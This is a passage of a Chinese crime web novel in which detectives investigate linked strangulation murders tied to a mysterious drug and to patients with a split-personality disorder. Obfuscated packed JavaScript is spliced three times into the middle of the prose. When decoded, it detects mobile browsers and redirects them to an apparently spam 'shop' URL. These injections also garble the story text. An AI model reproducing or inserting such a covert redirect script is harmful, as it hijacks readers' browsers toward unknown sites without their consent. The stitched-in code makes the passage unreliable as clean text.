此刻的距离本就近得让顾霁禾有点生理性不适,这句话直接让她后背发凉往后一退,不料被桌角勾住脚腕,失去平衡的瞬间她下意识拉住周烬川的手。 “喂……”周烬川话音未落,连带着扑倒在沙发上。 顾霁禾吃痛扭过头,正好撞上周烬川的眼睛,两人的鼻息滚烫在彼此脸上。 好吧,这个距离才是真正的生理性不适。 然而人就是越忙越乱,顾霁禾拼命扒着沙发想坐起来,周烬川也很不巧按到同一个地方,于是两只手缠在一起…… “等等!”顾霁禾忽地喊出声。 她不是被周烬川的手吓到了,而是在沙发夹层里摸到了什么东西。 这本牛皮笔记本,恐怕比顾霁禾的年龄还大,泛黄的纸张上零零散散地记着一些鬼画符般的字。 “周队。”顾霁禾迅速瞥了一眼周烬川,脸上的燥热还没褪去,故作镇定地想缓和一下古怪的气氛,“你要不回去提醒一下搜查科的同事,让他们下次再……再努力一点?” 周烬川无声地盯了她一眼:“搜查,不是拆家。” 毕竟谁也不会闲来无事把一本巴掌大的本子缝进沙发里。 顾霁禾无言以对,刚想凑近好好辨认一下那些实在需要点本事才能看懂的字,本子却被周烬川一把夺过。 “过来,那里背光。” 于是她只好跟着走到阳台。 根据两人你画我猜般的拼拼凑凑,最终得出结论,上面似乎是某种交易记录,有时间、地点、人物代号以及极大概率是金额的数字。 能被毕千峰小心收藏的东西,不是万般珍惜,就是危险至极。可单从这些信息来看好像也说明不了什么。 “内网系统上,这上面写的每一个时间点,每一个地点,大部分代号,都能查到。”似乎是知道顾霁禾的疑问,周烬川特意解释了一句。 “哦。”顾霁禾不带任何感情地回应了一声。 直到翻到最后几页,“鎏金”两个字眼出现了。 “七雾?”顾霁禾忍不住读出声。 “七雾?”审讯室里,沈峋一脸严肃地盯着对面的人。 那个人上了点年纪,常年吸毒使他裸露的皮肤近乎溃烂,眼神黯淡,视线散在被光扬起的尘埃里。 他点点头懒洋洋地说:“他是我第一个上家。后来那个地方被你们拆了,幸亏我跑得快。”他说着扬起唇角,得意地看着对面的警察。 “他也是毕千峰的上家?”沈峋不动声色地问。 “谁?”那人愣了愣,好似被粘住的眼球艰难地滚动一圈,最后低声说,“不认识。” 宋林汐把毕千峰的照片翻出来压在手下:“这么肯定?万一你只是不记得了呢?” “干我们这行的只认一个头,兄弟道上没有不认识的,不记得名字就是不认识。” 沈峋接过照片拿到他眼前:“看清楚了,认识吗?” 他轻瞥一眼,摇了摇头。 “那七雾呢?”沈峋沉声问。 “我没见过他,他供货,我干活。” “什么货?”沈峋问。 “什么货都有。”那人不明所以地笑出了声,“警官,你要是想问那个好货,得看运气。我当时要是到手了,一准拿上就跑,毕竟一瓶就够我吃喝一辈子,哪还犯得着再去走货啊?” 沈峋紧紧盯着他:“你的意思是,七雾给你的都是传统毒品?” 那人没否认。 “后来呢?” “后来?你们搞成那个样子,我哪还敢冒险?头上的底下的全踢了,躲几年风头就再找新家。至于曾经那些兄弟……”那人的眼神突然聚焦,碾着虚光砸下来,似笑非笑般说,“道上的规矩,死人最守信用。 腐烂的躯壳里还能炸出刺眼睛的灵魂。 从审讯室出来,沈峋接到周烬川的电话。 “这么巧吗?我们也刚问出七雾,可是这个人我没有印象,我打算去问问卓诚。你和霁禾还在毕千峰家里吗?需不需要再让搜查科的兄弟过去一趟?好,我知道了。” 挂断电话,周烬川把笔记本递给顾霁禾:“回去以后要是有人问起来,你就说是你误打误撞发现的。” 顾霁禾:“……” 也没毛病。 “那师兄,我们还要……再误打误撞发现点别的东西吗?” 周烬川剜了她一眼:“进来。” 顾霁禾忍不住偷笑。其实周烬川这个人还是很有意思的。 不过事实证明,误打误撞的好运只能让他们撞见一次。 “关于谢大通,你还有什么看法?”回市局的路上,周烬川先开了口。 前挡风玻璃照来的阳光让顾霁禾有点昏昏欲睡,以至于她沉默了好一会才慢悠悠地开口,不过却是以反问的方式:“师兄,你也觉得毕千峰改名换姓不是为了躲警察,而是躲他曾经的上级,对吧?” 周烬川没有回应,顾霁禾只好继续说:“我能看出来,潘如萱对他的感情是真的,至少对于毁容前的他是真的。也许他也一样。” 当时的毕千峰和一个陌生的女孩有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545246|204114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一夜情,之后他或许真的萌生了成家的念头,决定金盆洗手,丢失的左眼恐怕是他不得不付出的代价。 只是他万万没想到,再回来的时候,潘如萱已经和庞冬凌结了婚,还是带着他的孩子。 他没戳穿,选择祝福。毕竟他给不了她和孩子安稳的幸福。 之后的生活寡淡如水,发不了财,也改不了命。可他手里仍旧握着或许能保命,或许会丢命的炸弹——归识。 “假设16号晚上的争吵真的来源于他和谢大通,会不会是谢大通在出狱后走投无路却误打误撞找到了他?本想以曾经一起贩毒的事威胁他,但是没有效果,最后不欢而散。” “可恰恰是这个举动暴露了毕千峰的位置,从而给他招来了杀身之祸......”顾霁禾若有所思地说。 他们那天晚上到底在吵什么已经没有办法知道了,不过按照如今的状况来看,毕千峰一定知道一些归识背后的东西,而且很有可能告诉了谢大通,乃至背后的人在注意到谢大通出现在警局附近才会按捺不住将他灭口。 周烬川踩下刹车,这个角度正好能看见那日戴着鸭舌帽来到市局门口踌躇的谢大通所站的地方—— 那个街口,东面因为高楼的遮挡完全匿在阴影里,西面的墙要矮一点,光束不偏不倚打下来,在地上划出一道明显的分界线。 “某种意义上来说……”顾霁禾盯着那道分界线,声音轻了几度,“他是来求救的。” 周烬川顺着她的视线望了一眼:“那这背后的人还真耐得住性子。” 如果毕千峰重新出现在他们的视线里是因为谢大通,恐怕他根本就没有再多活一个星期的可能。包括谢大通。 顾霁禾一时无言以对,只好默默下车跟在周烬川身后。 “开会。”周烬川一进特侦部就喊了一声,“把陆卓诚叫过来。” 彼时的陆支队长正在和信奉沉默是金的拆家斗智斗勇,莫名被沈峋拉来会议室,进门就撞上周烬川那张冷冰冰的脸,简直完美体验到了遇到麻烦背后的大麻烦是什么感觉。毕竟他不是特侦队的,只是友情参与,尽量帮忙而已。 所以他一坐下就没好气地说:“凶杀案的事我不管,除非是那瓶药有了什么新的发现。周烬川,我很忙的。” 周烬川好似没听到,向宋林汐一抬眼,屏幕上顿时出现一条时间线。 4月16日晚上,疑似毕千峰和谢大通在家里发生争执并被邻居听到。 4月22日,肖明海送给毕千峰混有大量阿托品的茶叶。 4月24日晚上十点到十二点之间,毕千峰被人勒死,疑似反抗过程中拿起茶杯砸向凶手并留下血迹,后凶手清理现场。 4月25日上午,肖明海发现毕千峰被勒死,拿走自己送的茶叶和茶壶并报案。下午,谢大通来过市局,到家之后被人用麻醉药弄晕,然后伪装成割腕自杀。 陆卓诚看到后恨不能把手里的笔掰断。当时也不知道老局长怎么考虑的,非要让他配合周烬川调查归识。 这么多年过去了,归识到底是个什么东西一直没有定论,是药是毒也说不清楚,反而让他这个禁毒队长顺便包揽了一半刑侦的活。 精力有限是一回事,为了心中大义他可以夜以继日不辞辛苦。但要让他听周烬川的吩咐就是另一回事了。 陆卓诚刚想起身离开,屏幕上放出了鎏金案。 12. 我是凶手(十一) “你什么意思?”陆卓诚紧紧盯着周烬川。 从毕千峰家里搜出的笔记本以及上个月跑掉的漏网之鱼嘴里钓出的信息来看,一切都回到了最开始的地方——鎏金。七雾是毕千峰的最后一个上级,很有可能就是提供给他归识的人。 “周烬川。”陆卓诚缓缓站起,眼神钉在他身上,“鎏金案早就结了,当年没有任何证据能证明......周峥警官的牺牲和归识有关,你到底还要执着到什么时候?” 此刻会议室里的空气像结了冰,所有人大气不敢喘,连调和剂沈峋都说不出话。 不过当年到底发生了什么,在座的只有三位心里清楚。 “陆卓诚,你觉得我是一个感情用事的人吗?”周烬川头也不抬地反问。 “你敢说你不是吗?”陆卓诚拔高音量,“你敢说你成为特侦队队长没有一点私心吗?” 周烬川指节一顿,缓缓抬眼。 隔着一张桌子的距离,两人把整个会议室的气氛搞得剑拔弩张。 对于特侦队其他人来说,类似的局面并非百年难遇,只是如今天这般箭在弦上的,倒确实是头一次碰到。 怎么说也是有点身份的人,光明正大打起来的事还做不出来。此刻最好的化解方式,就是等。 然而没等多久,角落里的顾霁禾忽然开口:“陆队,你不也一样吗?” 一瞬间,所有人的目光都聚焦在顾霁禾身上。除了周烬川。 “既然都是想找到当年的真相,何必闹得那么难堪呢?”顾霁禾本意是想缓和一下气氛,但好像起了反作用,只好苦哈哈地硬着头皮继续说,“至少抓住七雾,是我们现在共同的目标,对吧?” 这话令谁都无法反驳。于是僵持一会后,那位撑着桌子的陆队长终于坐回原位。只是看似平静的高谈阔论中,他的目光总会时不时拐个弯跑到顾霁禾身上。 好像有点……过了? 会议结束,周烬川和陆卓诚一前一后走出会议室,剩下的几人终于松了口气,紧接着十分默契地围住顾霁禾。 当年的事就连沈峋也知道不多,可听顾霁禾刚才的反应,很显然她是清楚的。 面对三张充满疑惑和好奇的脸,顾霁禾实在不好拒绝。 周峥发现归识交易纯属偶然,彼时的他并不知道那个东西是什么,但是正常的药品交易绝对不会大费周章藏在地下进行,所以他第一反应就觉得那可能是一种新型毒品。 只是线索太少,仅凭他一双眼睛看到的画面和一张不知道是谁留下的图纸,根本查无可查。而且作为刑侦队长,这并非他所主办的领域。 不巧的是,当时的禁毒队长宁寒松正在侦办一起跨市贩毒案,实在抽不开身,周峥只好自己摸着图纸上的信息查下去。 然而没过多久他就遇害了。尽管没有任何线索指向杀害他的人是谁,是不是和归识有关,可几乎所有人都自动忽略了其他可能。 尤其是宁寒松。他始终放不下这件事,觉得要是当时和周峥一起查下去,或许就不会有这样的结果。 此后他一直顽固地守着禁毒队长的位置,不调不升,势必要把归识背后的真相找出来。可直到病退,他也没有实现这个愿望。 “听自己的师父念叨久了,陆队心里不舒服也正常。”顾霁禾低声说,“而且他俩本身性格上就不太对付......” 最后一句话显得有点无厘头,是顾霁禾硬憋出来的。 “你怎么知道这么多?”沈峋有点不可思议,“不会是烬川告诉你的吧?” 当然不可能。 “因为我的导师和周峥警官是同学,而且他也是周队的导师,他老人家也对归识案格外关注。” “原来顾姐姐是周队的同门师妹啊!”宋林汐意味深长地笑了一下。 顾霁禾没有明白她的笑意。其实她自己也很意外。 “那张图纸我倒是知道,当时我的父母还研究了好一阵,可惜没有结果。”沈峋的表情变得凝重。 自特侦队成立以来,有大量服用过归识的ASDD患者的血液样本录入,奇怪的是,他们体内的成分一直都有微小变化。 就像是背后有人在拿他们做实验。 许清宴面沉似水地说:“经过大量数据分析,凡是服用过归识的ASDD患者,绝大多数都被消灭了主格,变得暴力血腥,最后不可控地走向犯罪。” “如果我没记错,去年所有的刑事案件中,尤其是涉及人命的,百分之六十都和ASDD患者有关。可是他们在犯罪的时候都是副格操纵了躯体,目前的法律没有办法做出公正的判决,只好把他们送进维安。”宋林汐顿了顿,“有时候我真的觉得,他们就是怪物。” 顾霁禾心头一震。 “行了不唠了,都去干活吧。”沈峋拍了拍宋林汐的肩膀,很快会议室只剩下顾霁禾一人。 就是怪物吗? 澜州公大犯罪心理学教研室,方泽楷正看着陈渡的论文选题发愁。敲门声响起,他头也不抬地说了声“进”。 “老师。” 这个声音令他一顿,他扶着老花镜抬起头,逐渐喜上眉梢:“周烬川!你小子怎么有空过来了?最近怎么样?我前两天刚送去的学生没给你拖后腿吧?” 周烬川轻微一哂,被方泽楷招呼着坐下,缓缓道:“她能力确实不错,我这次来主要也是想向老师请教一下有关她的事。” 方泽楷笑着点了点周烬川:“你小子不会是想打听人家小姑娘什么私事吧?我告诉你啊,有嘴自己问去,也老大不小了,别再让我和你师娘操心!” 周烬川属实没料到他的老师会有这样的反应,一时之间有些发懵。 “顾霁禾这孩子……有你当年的影子。”方泽楷音色忽变,“不过也是个可怜的孩子。” 顾霁禾的父亲顾文昭是ASDD患者,在她十二岁的时候发病,持刀想要砍杀她们母女。幸而最后一刻理智回归,她的母亲温茹为了保护她被砍伤肩膀,她也承受了不小的心理打击。如今她的父亲仍旧在维安接受治疗。 这些信息不难查,可顾霁禾给周烬川的感觉……就像她提前摸透了特侦队的一切,带着绝对的目的来到他们身边。 而且她还有一个亟待拯救的父亲,他并不敢保证她不会对归识抱有好奇甚至渴望的态度。 “老师。”周烬川问,“我的事,您告诉了她多少?” 从教研室出来,周烬川本想直接回市局,却在走出教学楼的时候被人叫住。 “周队?”陈渡带着些许不确定走到他面前,“不好意思,我没认错人吧?” 周烬川没有见过陈渡,迅速打量一番后点了点头。 陈渡瞬间展开笑颜:“你好,我是顾霁禾的朋友,我叫陈渡。” 周烬川显然不想握她的手,但是出于礼貌,他还是象征性地碰了一下。 “你刚刚是从我导师办公室里出来的吧?”陈渡始终保持着恰到好处的微笑,尽管面前的人浑身上下都散发着“生人勿近”的气息。 周烬川面无表情地凝了她两秒,淡淡开口:“你跟着我做什么?” 这是陈渡第一次遇到真正的聊天终结者,还是出于某种她全然意料之外的原因。可她并非有意,只是去找方泽楷的时候正好碰到周烬川从教研室出来,于是一不小心就跟着走到了这里。 果然不是个好相处的上级。她打心眼里为顾霁禾捏了一把汗。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545247|204114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“周队,我也是担心霁禾。”陈渡非常不自然地往后退了半步,“毕竟她小时候亲眼看着她爸爸拿刀砍伤了她妈妈,我担心和凶杀案接触多了会让她产生应激反应。” “所以呢?”周烬川好整以暇地看着她。 所以就尽量不要让她出现场呗! “所以……”陈渡一边后退一边说,“所以就麻烦周队多照顾照顾她喽!” 话音一落,陈渡转身大步离开,很快就消失在周烬川的视线里。 顾霁禾如坐针毡地接过陆卓诚递来的饮料,提着悔青的肠子小心避着他的眼神。在她看来,此刻对面那张挂着浅笑的脸看上去比周烬川还恐怖几分。 她只是在会议室发了一会呆,刚走出去就被陆卓诚请进了他的办公室,其间竟然没有碰到一个可以喊救命的人。于是她只好硬着头皮答应了陆卓诚口中的“求教”。 “我这刚抓的拆家死活不愿意开口,你觉得我该怎么办?”陆卓诚生来就不会板脸,而且总给人一种富贵公子哥上错战场的感觉。 顾霁禾小心翼翼地拧开瓶盖。无糖冰红茶......难喝。 “陆队,我不会审讯,给不了你建议。”她可不想再让第二个人质疑她根本不存在的专业水平。 陆卓诚半靠在办公桌上,两臂随意地搭在胸前,听到这句话后笑意更深了:“别妄自菲薄,你可是高手。” “对不起陆队,我刚刚不是故意的。”顾霁禾终于忍不住站起身。 陆卓诚刚想开口,许清宴敲门走进来,她在看到顾霁禾的时候明显愣了一下,转而把手里的三份报告递给靠在办公桌上的人。 “陆队,这是从毕千峰家里找到的归识的化验结果,经过成分比对确认是第一版,很有可能就是当年在鎏金交易过的初代归识。毕千峰和谢大通体内都没有发现它的成分。” 陆卓诚迅速扫一眼报告:“辛苦了,许法医。” 许清宴想离开,却被顾霁禾求助的眼神绊住脚步。其实她向来懒得管活人的事,包括自己和同事,来到特侦队以后这个情况好转了一些,但并没有本质上的改变,所以她只是略带歉疚地冲顾霁禾微微一笑,关上了办公室的门。 陆卓诚似乎在欣赏顾霁禾的小表情,许久都没有说话。被这样古怪的氛围拘着,顾霁禾感觉自己的两条腿有点发僵。 “好了,马上下班了,赶紧回去收拾收拾准备回家吧。” 陆卓诚起身打开办公室的门,顾霁禾连连点头道谢,没想到刚一出门就撞上了周烬川…… 天!现在冲去买彩票来得及吗? 顾霁禾的身高根本阻挡不了他们射向对方的视线。 “检查写完了?”周烬川忽然问。 顾霁禾瞬间得到解脱,说了声“马上去写”后终于逃离无声战场回到自己的工位。得亏她平常没少动笔,手搓二十分钟,一篇像模像样的学生版检查新鲜出炉,踩着最后一分钟的时限交到了周烬川手上。 “还有实习报告,每天都要写,一周给我看一次。”周烬川看着纸上龙飞凤舞的字,几不可察地蹙了蹙眉峰,“我看不懂就重写。” 顾霁禾情不自禁地捏紧拳头。那我搞个电子版打印出来粘上去总行吧? “手写,别耍小聪明。” “……”顾霁禾尽量保持微笑,“师兄,实习报告是刚需吗?” 她可从来没听说过这种东西。 周烬川没有回答,从抽屉里拿出一本笔记本。 顾霁禾不明所以地接过,翻开第一页便傻了眼。 那是他的办案笔记!从他参与的第一个重大刑事案件开始,时间线、嫌疑人,所有的关键信息都清清楚楚。 “照这个写。” 13. 我是凶手(十二) 继连夜拜读完周烬川的办案笔记,踩着点跑进特侦部打卡,又在会议室里强撑两个小时后,顾霁禾蔫了似的倒在工位上。 事实证明,她在这个世界的家真的很奇怪,那张床不仅会吸食她的精力,还会淡化她的记忆。那些重要的零零散散的情节点,像断了线的风筝似的不知道被哪个方向的风吹到什么地方去了。 顾霁禾刚准备开始补写昨天的实习报告,周烬川一脸严肃地从办公室走出来—— 潘如萱死了。 昨天这个时候,这个温柔贤淑的女人还端坐在沙发上力图掩饰曾经的不堪。如今她却面容可怖地倒在客厅里,死因和毕千峰出奇一致。 “机械性窒息,伤口呈条状挫伤带平行排列,创缘平整无割裂锐痕。”许清宴检查完尸体后说,“死亡时间不超过十二个小时。” 潘如萱穿着睡衣,长发披肩,像是刚洗完澡或者从被窝里出来就被人勒死了。 为了不再让周队长随时逮到发送检查要约的机会,顾霁禾小心翼翼跟在他身后,并且始终保持着一米远的安全距离。 只是目光不经意间跟着他的视线在客厅天花板绕了一圈,然后发现了两个监控。 “周队,今天凌晨一点左右小区变压器发生故障引发大规模停电,不久前才恢复。” 宋林汐刚把监控打开,就听周烬川对一旁的刑警说:“去查故障原因。” 沈峋等在洗手间外,应报案人兼受害人家属的需求,他需要一个冷静的空间。 上午十点多,庞伟趁学校实验告一段落回来拿衣服和书,结果一进家门就看到潘如萱倒在地上,已经没了呼吸。 洗手间门打开,庞伟微弓着背走出来,脸上毫无血色。 那还是顾霁禾第一次亲眼见到她曾经设定的凶手。 笔录做到一半,庞冬凌也从公司赶了回来。民营企业经理,衣冠楚楚,给人的感觉倒是谦和有礼,只是视线一落在潘如萱身上就瞬间脱缰—— 要不是周烬川眼疾手快扣住他的肩膀,这个人影就飞扑到裹尸袋上了。 “爸……”此刻强装镇定的庞伟也把持不住,哆嗦着从周烬川手里接过一脸懵的庞冬凌。 尸体很快被拉走,侦查人员忙着勘验现场。只是这个家被女主人打扫得一尘不染,着实没发现什么可疑的痕迹。 “我昨天晚上有应酬,结束已经半夜了,我觉得太晚了就没有回家,直接在酒店的休息室对付了一夜……”庞冬凌把脸埋在手心里,似乎还没有接受丧妻的事实。 沈峋问:“所以昨天早上出门后,你就没有回过家?” 庞冬凌点了点头。 “我一个多月没回家了。”庞伟低着头说。 “我能问一下你为什么要在自家客厅里装两个监控吗?” “不是我装的。”庞冬凌缓缓抬头看着沈峋,“去年夏天我们刚搬来的时候家里进过贼,虽然什么东西都没丢,但想想还是后怕,所以小萱她......她买了两个监控。” “沈警官,是不是那个人?我妈的死是不是和那个人有关?”庞伟忽然激动起来。 庞冬凌一脸疑惑地看向自己的儿子,可怜的父亲对某件歪七扭八的事实还毫不知情。 顾霁禾竖起耳朵偷听了一小会就被周烬川逮住,只好硬着头皮跟着他走进死者的卧室。 被子掀开一角,其他地方都格外整洁,连衣柜里的衣服都按照颜色分门别类。和有精神洁癖的人在一起生活果然不容易。 “师兄,案发现场不是在客厅吗?我们为什么要来卧室?” “谁告诉你那里就是案发现场?”周烬川翻动着衣柜里的衣服,“死者穿着睡衣,她就一定是掀开被子从卧室里出去然后遇害吗?” 她也有可能是在外面遇害然后被凶手带回家换上睡衣…… 顾霁禾打了个寒颤,能自由出入这个房子的人现在就在沙发上坐着呢。 “师兄为什么不怀疑杀害潘如萱和毕千峰的凶手是同一个?” 周烬川转过身,面无表情地看着顾霁禾,淡淡地说:“因为如果我是凶手,我就会希望你这么想。” “……”顾霁禾一时无言以对,幸而刚刚被派出去的刑警回来了,凌晨变压器故障是内部短路自然造成的。这么高档的小区也会出现这种问题吗? 沈峋:“我和林汐先回去查潘如萱的手机和她最近的联系人,你和霁禾......” “去酒店和学校。” 从小区出来,两辆车迅速分道。 顾霁禾还是不明白为什么周烬川对于父子俩的不在场证明会那么执着。 “还记得潘如萱昨天穿的什么衣服吗?” “酒红色衬衫和黑色牛仔裤。”顾霁禾答道。 “衣柜里,阳台上,洗衣机里都没有发现这套衣服。” 如果是潘如萱自己把衣服脱下来,一定会放在家里的某个地方。如果不是,只能说明衣服是凶手脱的,而且上面还留下了什么痕迹。至少对于凶手来说是不得不销毁的东西。 顾霁禾试图反驳:“那也完全可以是潘如萱在还没有去洗澡的时候,凶手上门把她勒死,然后给她换上睡衣......” “如果凶手脱衣服的目的只是带走证据,他又有什么必要再做下一步呢?怕裸尸不雅观?” 顾霁禾还没来得及憋出一个答案,许清宴的结论传了过来,不过不是潘如萱的尸检报告,而是昨天他们在毕千峰家里的意外收获—— 血液样本没有在资料库里直接匹配到,但经过基因座分型比对,可以确定他和一个人符合全同胞亲缘关系。 “苏强。” 周烬川猛地抬眼,汽车堪堪压过斑马线停下。 “而且潘如萱脖子上的勒痕和毕千峰的高度一致,凶器很有可能是同一根,或者同一款皮带。” 电话一挂断,顾霁禾迫不及待开口:“师兄,看来是你想复杂了。” 对于这个结果,顾霁禾并没有感到特别惊讶,毕竟苏刚本就位于凶手之列,而且他还是ASDD患者。基于周烬川之前的猜测,她也剥离出来了一层杀人动机。 “想灭毕千峰和谢大通之口的人手里一定有归识或者足够有钱能负担得起归识,这个东西对ASDD患者来说可是致命的诱惑。”顾霁禾不动声色地说出自己的猜测,“只是那个人一开始也没有想到毕千峰还有一个和他有过一夜情的女人,他不敢赌那个女人什么都不知道。” 可怜苏刚拿走了毕千峰所有的钱,却独独没有找到他衣服口袋里的归识。 “要是按照这个逻辑,凶手第二个猎物应该是肖明海吧?” “没错。”顾霁禾认同道,“可他没来得及动手,肖明海就被带进警局了。” “那如果我是凶手,庞冬凌和庞伟父子我也不会放过。” 顾霁禾心头一震。这么说对吗?她刚收回错愣,昨晚庞冬凌应酬的酒店已经在眼前了。 “那要不……找几个人保护一下他们?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545248|204114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “沈峋会安排的。” 顾霁禾已经被周烬川的思路绕晕了,这父子俩到底是嫌疑人还是受害者? “我们的休息室在一楼最东面,旁边就是安全通道。”酒店经理解释道,“庞先生是我们店里的常客,有时候饭局结束太晚就会在那里休息,一般他的车都会停在地下停车场,第二天早上会直接下楼回公司。” 周烬川:“麻烦把地下停车场出入口的监控调出来。” 酒店经理一脸为难:“不好意思,我们这里的监控每个月都要升级一次,设备定时休眠,昨天晚上十点到今天早上六点都属于空白期。” 周烬川眼神微凝,顿了顿说:“那就要十点之前和六点以后的。” 庞冬凌的车在昨天傍晚六点左右开进地下停车场,今天早上八点左右离开。 “周队,潘如萱的手机里有一条打车记录,时间是昨天傍晚五点半左右,目的地是澜州科技大学,小区门口的监控也拍到了她在那里上车,可直到今天凌晨断电之前她都没有回来。” 接到宋林汐的电话时,周烬川和顾霁禾已经到了大学门口。 庞伟的室友称这两天他有些魂不守舍,连实验都犯了平常不可能犯的错误。 “昨天下了课就没看到他,晚上也没回来,不过他经常在实验室通宵,我也没放在心上。”室友姓蔡,这大概是他人生中第一次和刑警近距离接触,浑身上下都写满了紧张。 “你们做的是什么实验?” 顾霁禾本想随便起个话题让他放松下来,没想到歪打正着。 “电力变压器脱扣阈值负载保护参数稳定性调配。” “简单来说……”周烬川紧盯着他,“你们可以人为引发变压器的自然故障?” 蔡智明愣了愣,犹豫好一会才轻轻点头:“理论上是可以,但我不会这么做的!” 顾霁禾猛地一顿。 保安室监控拍到庞伟在傍晚六点半左右开车离开,后座上还有一位长发女性乘客,可惜看不清楚脸,不能确定是不是潘如萱。 宋林汐刚浏览完潘如萱的聊天记录就接到周烬川的指令,立马开始追踪庞伟汽车的行驶轨迹。 此时沈峋已经带着一名刑警走进看守所。用苏强的话来说,坐牢都坐不安分的人生才是糟糕透顶。 “警官,我没有什么心爱的姑娘,我也不可能去替别人吃子弹。”苏强低头轻笑,“你们警察没本事抓到刚子也别浪费我的时间,我还想早日投胎呢,下辈子,争取做个好人吧。” 沈峋看了他一眼,拿出一张照片:“二十五年前的价格我不清楚,不过近几年,这样一瓶未拆封的将近六百万,对于你和苏刚来说,需要抢劫多少次才能攒够?” 苏强瞳孔骤缩。下一秒他又不明所以地笑了笑:“这什么?长生不老药?” “这个人是这瓶药的持有者,不过他被人杀了。”沈峋举起毕千峰的照片看着苏强,“你弟弟苏刚的血出现在了案发现场。” 苏强的笑容顿时凝固。 沈峋把照片拍在桌上,凝声问:“苏强,我很好奇在你弟弟眼里,几条人命才能换来六百万?” “不、不可能……” “一条?两条?”沈峋说着缓缓起身,音量随之拔高,“还是三条?” “我弟弟不可能杀人!你们搞错了!你们一定搞错了!” 沈峋居高临下地欣赏着苏强的慌张,不紧不慢地说:“所以你弟弟,真的需要六百万来买这瓶药。” 14. 我是凶手(十三) “哦,这俩人我有印象,应该是母子吧?”洪雅餐厅的老板看了一眼周烬川手机上的照片,非常肯定地说,“昨天晚上来过,我记得就坐在那边,靠窗那个位置。” 顾霁禾顺着老板手指的方向望去,这个餐厅的风格偏中式,每桌之间都有一个屏风隔开,潘如萱和庞伟昨晚就坐在最里面的一桌。 “为什么记得那么清楚?”周烬川问。 老板有些无奈地说:“这个年轻人当时好像发了点脾气,把酒杯摔了,我正好给前面一桌客人上菜就留意了一下。不过后来也没发生什么,走的时候这个女人还多赔了我一瓶红酒的钱。” 从餐厅出来后,庞伟的车一路西行,那个方向,恰好是庞冬凌应酬的酒店。 “现在还觉得是我想复杂了吗?” “那也不一定就是……”顾霁禾怎么想都觉得牵强,“师兄,动机呢?” 周烬川的手搭在方向盘上,指尖不经意地敲了敲,眼神轻飘飘落在前面堵死的道路上——好巧不巧赶上晚高峰。 “一个有着精神洁癖的人,能容忍自己被骗着戴了二十几年的绿帽子吗?” 只是情杀吗?可庞冬凌应该是今天才知道这件事。 “你真的相信两个全方位无死角的监控是为了防小偷?”周烬川漫不经心地说,“换把高级点的智能门锁都比这个有用。” “是为了监视。”顾霁禾很快反应过来,“那庞冬凌说的贼不会是.....” 不会是毕千峰吧? 昨天她和周烬川来到潘如萱家里说出这件事的时候,监控全录下来了,而彼时是不是正有一个人拿着手机看得清楚、听得分明呢? 顾霁禾把已知的信息在脑子里重新排列组合了一下,看着前面缓缓挪动的车辆,自言自语般说:“如果真的是这样,会是谁动的手?勒死的手法是巧合吗?” 巧合到连伤口都一致。 “喂烬川,你们在哪?”车里连了蓝牙,沈峋急切的声音传来,“盯着那对父子的兄弟说,庞冬凌险些掐死庞伟。” 后面的一声鸣笛刺破了顾霁禾的讶异,车辆终于以正常的速度行驶起来。 “庞伟现在在医院,人没事但还没醒,庞冬凌已经带过来了,要我现在去审吗?” 周烬川沉默了一会说:“等我回去,马上到。” “好。”沈峋走出观察室往法医实验室走去,“虽然苏强还是不承认,但依我看,他弟弟苏刚很有可能就是ASDD患者,为了拿到归识帮人灭口毕千峰嫁祸给谢大通。目前来看和潘如萱的案子应该没有关联。” 敲门声响起,正在填写尸检报告的许清宴应了一声。沈峋走进去打开免提,许清宴头也不抬地说:“死者的后背和臀部有大面积尸斑,大概率她被勒死的时候是坐着的。她的指甲缝隙里有微量皮革碎屑,从材质上看可能来自勒死她的皮带,也可能来自……” “汽车座椅。”周烬川接上她的话。 顾霁禾一激灵,下意识摸了摸副驾。 电话那头沉默了一阵,许清宴的声音再度传来:“我本来是想说沙发的,正想去现场采集一些沙发纤维做比对,那我再去他们父子两个的车里看看。” 在车里把人勒死,弄坏变压器造成停电,再把尸体搬回家伪造成第一现场。深更半夜本来就没什么人,一旦毁了监控,凶手的动静就会神不知鬼不觉了。 惊讶和慌乱在顾霁禾心里交织。 “师兄,那庞冬凌想掐死庞伟又是怎么回事?” 市局就在不远处,直到周烬川停好车才淡淡地说:“你自己去听听就知道了。” 继中午看到自己老婆被人害死后,又得知自己儿子不是自己儿子,这位精神洁癖患者几度奔溃,也不知道怎么就和他亡妻的儿子吵了起来,兴许是某一句话激怒了他,他没控制住就动了手。 这是庞冬凌自己的解释,全然没有提及在那之前的事。 “你的生意伙伴告诉我,本来你们能再多谈一会,可你却执意要散场,就在你接到庞伟的电话之后……”沈峋平静地看着他,“为什么不告诉我们昨晚你们父子见了面?” 